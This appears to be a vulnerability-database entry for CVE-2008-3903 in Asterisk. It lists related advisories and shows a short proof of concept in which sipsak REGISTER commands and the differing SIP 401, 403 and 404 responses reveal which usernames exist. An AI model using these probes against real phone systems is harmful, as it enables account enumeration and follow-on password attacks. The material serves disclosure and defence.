| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
 | CVE-2008-3903 | 4 Sep 200819:00 | – | cve |
 | CVE-2008-3903 | 4 Sep 200819:00 | – | cvelist |
 | [SECURITY] [DSA 1952-1] New asterisk packages fix several vulnerabilities | 15 Dec 200913:06 | – | debian |
 | CVE-2008-3903 | 4 Sep 200819:00 | – | debiancve |
 | Debian DSA-1952-1 : asterisk - several vulnerabilities, end-of-life announcement in oldstable | 24 Feb 201000:00 | – | nessus |
| GLSA-200905-01 : Asterisk: Multiple vulnerabilities | 4 May 200900:00 | – | nessus |
 | EUVD-2008-3889 | 7 Oct 202500:30 | – | euvd |
 | Asterisk: Multiple vulnerabilities | 2 May 200900:00 | – | gentoo |
 | CVE-2008-3903 | 4 Sep 200819:41 | – | nvd |
 | Gentoo Security Advisory GLSA 200905-01 (asterisk) | 5 May 200900:00 | – | openvas |
10
在启用了alwaysauthreject的Asterisk 1.4上：
无效口令的无效用户
% sipsak-0.9.6/sipsak -IU -a testx -s sip:testX@asteriskbox:5060
SIP/2.0 401 Unauthorized
Via: SIP/2.0/UDP 192.168.1.199:63013;branch=z9hG4bK.5db5cc72;alias;received=192.168.1.199;rport=48834
From: sip:[email protected]:5060;tag=550fcb06
To: sip:[email protected]:5060;tag=as49ef5a0f
Call-ID: [email protected]
CSeq: 2 REGISTER
User-Agent: Asterisk PBX
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY
Supported: replaces
WWW-Authenticate: Digest algorithm=MD5, realm=”asterisk”, nonce=”70f69171″
Content-Length: 0
无效口令的有效用户
% sipsak-0.9.6/sipsak -IU -a test -s sip:test@asteriskbox:5060
SIP/2.0 403 Forbidden (Bad auth)
Via: SIP/2.0/UDP 192.168.111.1:64426;branch=z9hG4bK.53e7c9a7;alias;received=192.168.1.199;rport=40966
From: sip:[email protected]:5060;tag=4e3b4edd
To: sip:[email protected]:5060;tag=as305009f4
Call-ID: [email protected]
CSeq: 2 REGISTER
User-Agent: Asterisk PBX
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY
Supported: replaces
Content-Length: 0
在禁用了alwaysauthreject的Asterisk上：
无效口令的无效用户
% sipsak-0.9.6/sipsak -IU -a testx -s sip:testX@asteriskbox:5060
SIP/2.0 404 Not found
Via: SIP/2.0/UDP 192.168.111.1:62508;branch=z9hG4bK.37dcbfcf;alias;received=192.168.1.199;rport=37469
From: sip:[email protected]:5060;tag=5596ae2f
To: sip:[email protected]:5060;tag=as5620a72f
Call-ID: [email protected]
CSeq: 1 REGISTER
User-Agent: Asterisk PBX
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY
Supported: replaces
Content-Length: 0
无效口令的有效用户
% sipsak-0.9.6/sipsak -IU -a testx -s sip:test@asteriskbox:5060
SIP/2.0 403 Forbidden (Bad auth)
Via: SIP/2.0/UDP 192.168.1.199:62607;branch=z9hG4bK.1b938cca;alias;received=192.168.1.199;rport=35572
From: sip:[email protected]:5060;tag=55aaf11b
To: sip:[email protected]:5060;tag=as4e3f230d
Call-ID: [email protected]
CSeq: 2 REGISTER
User-Agent: Asterisk PBX
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY
Supported: replaces
Content-Length: 0
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Apr 2009 00:00Current
6.3Medium risk
Vulners AI Score6.3
EPSS0.01852